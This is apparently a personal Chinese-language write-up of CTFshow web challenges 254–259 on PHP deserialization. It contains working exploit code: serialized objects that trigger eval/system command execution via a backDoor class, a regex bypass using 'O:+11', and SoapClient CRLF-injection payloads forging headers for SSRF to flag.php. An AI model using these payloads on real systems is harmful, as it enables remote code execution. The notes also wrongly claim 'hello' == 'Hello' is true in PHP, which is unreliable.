反序列化(1)
CTFshow
web254
确认username和password是否等于xxxxxx
flag.php?username=xxxxxx&&password=xxxxxx
出来一片空白
不加flag.php 发现和只有一个&号


出来了
web255
关键在于反序列化cookie里的user为一个ctfShowUser的对象

O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}
不带Cookie,好像没对,noflag都输不出来
为什么,和之前的一模一样,难道是URL编码,但是试过了也输不出来

就是进行URL编码,直接在php里写,菜鸟太坑了

web256
和上道题几乎一样,但是同样的exp过不了,考虑对get参数进行url编码
妈呀,逻辑都看错了,
随便改个值

GET参数不能把等号改成%3D,为什么?:转移之后识别成字符,相当于不是参数的传值了
在PHP中,判断字符串是否相等可以使用比较运算符””和”=”。以下是两种判断方法的详细说明:
1. 使用””进行字符串相等判断:
当使用双等号””进行字符串判断时,会进行类型转换并比较字符串的值。如果两个字符串的值相等,即使它们的类型不同,也会返回true。
例如:
“php $str1 = “hello”; $str2 = “Hello”; echo $str1 == $str2; // 输出1,表示相等 “
上述例子中,虽然$str1和$str2的大小写不同,但由于它们的值相同,所以比较结果为相等。
2. 使用”=”进行字符串严格相等判断:
当使用三个等号”=”进行字符串比较时,不仅会比较字符串的值,还会比较字符串的类型。只有当两个字符串的类型和值都相等时,才会返回true。
例如:
“php $str1 = “hello”; $str2 = “hello”; echo $str1 === $str2; // 输出1,表示严格相等 “
上述例子中,$str1和$str2的类型和值都相同,所以比较结果为严格相等。
需要注意的是,如果使用””进行比较时,PHP会进行类型转换,可能导致一些意外的结果。为了避免这种情况,建议在判断字符串相等时,使用”=”进行严格比较。
web257
题面
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
这道题我困惑的点在于能否改变函数中已确定的函数行为
public function __construct(){
$this->class=new info();
}
这里的info()函数是无法执行eval()命令的
这里反序列化失败了
Fatal error: Exception thrown without a stack frame in Unknown on line 0
是执行命令有错误,PHP 的 eval() 函数只能执行 PHP 代码,而 ls 是 Linux/macOS 的 shell 命令(Windows 对应的是 dir)。直接将 shell 命令放入 eval() 会引发语法错误。
应为
eval('system("ls");');
exp如下
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'backdoor';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code='system("ls");';
public function getInfo(){
eval($this->code);
}
}
$user=new ctfShowUser();
echo serialize($user);
echo urlencode(serialize($user));
?>
有

修改ls为tac f*

web258
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
只多了一个正则匹配

利用替换O:+11绕过
str_replace(_find_,_replace_,_string_,_count_)

修改命令打印flag.php

web259
先看flag.php题面
获得XFF头的ip地址,倒数第二个是127.0.0.1->POST的值为'ctfshow'->打印flag.txt
靶机只有一段代码和两个异常

机翻:注意:未定义的索引:第6行/var/www/html/index.php中的vip
致命错误:未捕获错误:调用/var/www/html/index.php:8中bool上的成员函数getFlag()堆栈跟踪:第8行/var/www/html/index.php中抛出#0{main}
先尝试在/flag.php里获得flag.txt,不知道为什么bp一直截取不到火狐的流量,很奇怪,改不了流量包,Hackbar的POST也不成功
重新再chorme里下载了一个Hackbar,调试了一下就好啦)
目前是已知情况都满足了,但是靶机没反应,搜索之后发现可能需要反序列化后得到前置条件才可以得到flag

比较复杂,结合SoapClient和CRLF
介绍两个调试http/https交互的模拟工具之一:使用requestbin的HTTPBin检查你发送的数据 - li9club - 博客园
从一道题学习SoapClient与CRLF组合拳_soapclient crlf 400-CSDN博客
先配置soap环境,在php.ini将;extension=soap的分号删掉,如果仍有问题可能是extension_dir路径没对,改为自己的ext文件夹路径
通过 PHP 代码发送 SOAP 请求后,在 RequestBin 中只看到普通的 GET 请求而非 SOAP 消息,要调用任意一个不存在的方法,这样能触发_call()魔术方法,SoapClient 的内部实现会将这个调用转换为一个 SOAP 请求,并发送到服务端
<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://requestbin.cn:80/1jj4cee1'));
$b = serialize($a);
$a->not_a_function();//调用不存在的方法,让SoapClient调用__call
?>
就能发送POST消息,而不是GET消息了
Soapclient对url参数管控较为严格,直接通过 uri 注入 CRLF 通常不可行

<?php
$a = new SoapClient(null,array('uri'=>'bbb\r\n\r\ntest\r\n', 'location'=>'http://requestbin.cn:80/1jj4cee1'));
$b = serialize($a);
$a->not_a_function();//调用不存在的方法,让SoapClient调用__call
?>

可尝试其他注入点
user_agent头,headers头,location参数...
另外一方面Content-Type在SOAPAction的上面,就无法控制Content-Typ,也就不能控制POST的数据,但是我们发现在header里User-Agent在Content-Type前面,所以可以配合它进行利用
下面这段代码是为了测试user_agent下对__call()的调用,但是在requestbin下没有实现CRLF注入,因为php对soap有严格过滤,直接对“/r/n”把转义普通字符串
<?php
$target = 'http://requestbin.cn:80/1jj4cee1';
$post_string = 'token=y4tacker';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'y4tacker^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
//echo urlencode($aaa);
$b->not_a_function(); // 调用不存在的方法,让SoapClient调用__call
?>

PHP 的序列化机制会将对象属性存储为字符串。代码通过在序列化前使用 ^^ 作为占位符,序列化后再替换为 \r\n:
$aaa = serialize($b);
$aaa = str_replace('^^', "\r\n", $aaa); // 将占位符替换为CRLF
这种方式绕过了 SoapClient 在序列化时对特殊字符的转义,因为 ^^ 在序列化过程中被视为普通字符,替换发生在序列化之后。
wp的生成值为
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A238%3A%22y4tacker%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AUM_distinctid%3A175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D 好像有点不对 
我跑他的代码是
`O%3A10%3A%22SoapClient%22%3A36%3A%7Bs%3A15%3A%22%00SoapClient%00uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A17%3A%22%00SoapClient%00style%22%3BN%3Bs%3A15%3A%22%00SoapClient%00use%22%3BN%3Bs%3A20%3A%22%00SoapClient%00location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A17%3A%22%00SoapClient%00trace%22%3Bb%3A0%3Bs%3A23%3A%22%00SoapClient%00compression%22%3BN%3Bs%3A15%3A%22%00SoapClient%00sdl%22%3BN%3Bs%3A19%3A%22%00SoapClient%00typemap%22%3BN%3Bs%3A22%3A%22%00SoapClient%00httpsocket%22%3BN%3Bs%3A19%3A%22%00SoapClient%00httpurl%22%3BN%3Bs%3A18%3A%22%00SoapClient%00_login%22%3BN%3Bs%3A21%3A%22%00SoapClient%00_password%22%3BN%3Bs%3A23%3A%22%00SoapClient%00_use_digest%22%3Bb%3A0%3Bs%3A19%3A%22%00SoapClient%00_digest%22%3BN%3Bs%3A23%3A%22%00SoapClient%00_proxy_host%22%3BN%3Bs%3A23%3A%22%00SoapClient%00_proxy_port%22%3BN%3Bs%3A24%3A%22%00SoapClient%00_proxy_login%22%3BN%3Bs%3A27%3A%22%00SoapClient%00_proxy_password%22%3BN%3Bs%3A23%3A%22%00SoapClient%00_exceptions%22%3Bb%3A1%3Bs%3A21%3A%22%00SoapClient%00_encoding%22%3BN%3Bs%3A21%3A%22%00SoapClient%00_classmap%22%3BN%3Bs%3A21%3A%22%00SoapClient%00_features%22%3BN%3Bs%3A31%3A%22%00SoapClient%00_connection_timeout%22%3Bi%3A0%3Bs%3A27%3A%22%00SoapClient%00_stream_context%22%3Bi%3A0%3Bs%3A23%3A%22%00SoapClient%00_user_agent%22%3Bs%3A238%3A%22y4tacker%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AUM_distinctid%3A175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A23%3A%22%00SoapClient%00_keep_alive%22%3Bb%3A1%3Bs%3A23%3A%22%00SoapClient%00_ssl_method%22%3BN%3Bs%3A25%3A%22%00SoapClient%00_soap_version%22%3Bi%3A1%3Bs%3A22%3A%22%00SoapClient%00_use_proxy%22%3BN%3Bs%3A20%3A%22%00SoapClient%00_cookies%22%3Ba%3A0%3A%7B%7Ds%3A29%3A%22%00SoapClient%00__default_headers%22%3BN%3Bs%3A24%3A%22%00SoapClient%00__soap_fault%22%3BN%3Bs%3A26%3A%22%00SoapClient%00__last_request%22%3BN%3Bs%3A27%3A%22%00SoapClient%00__last_response%22%3BN%3Bs%3A34%3A%22%00SoapClient%00__last_request_headers%22%3BN%3Bs%3A35%3A%22%00SoapClient%00__last_response_headers%22%3BN%3B%7D
更bug了

先传参到vip里,再访问flag.txt
有

浙公网安备 33010602011771号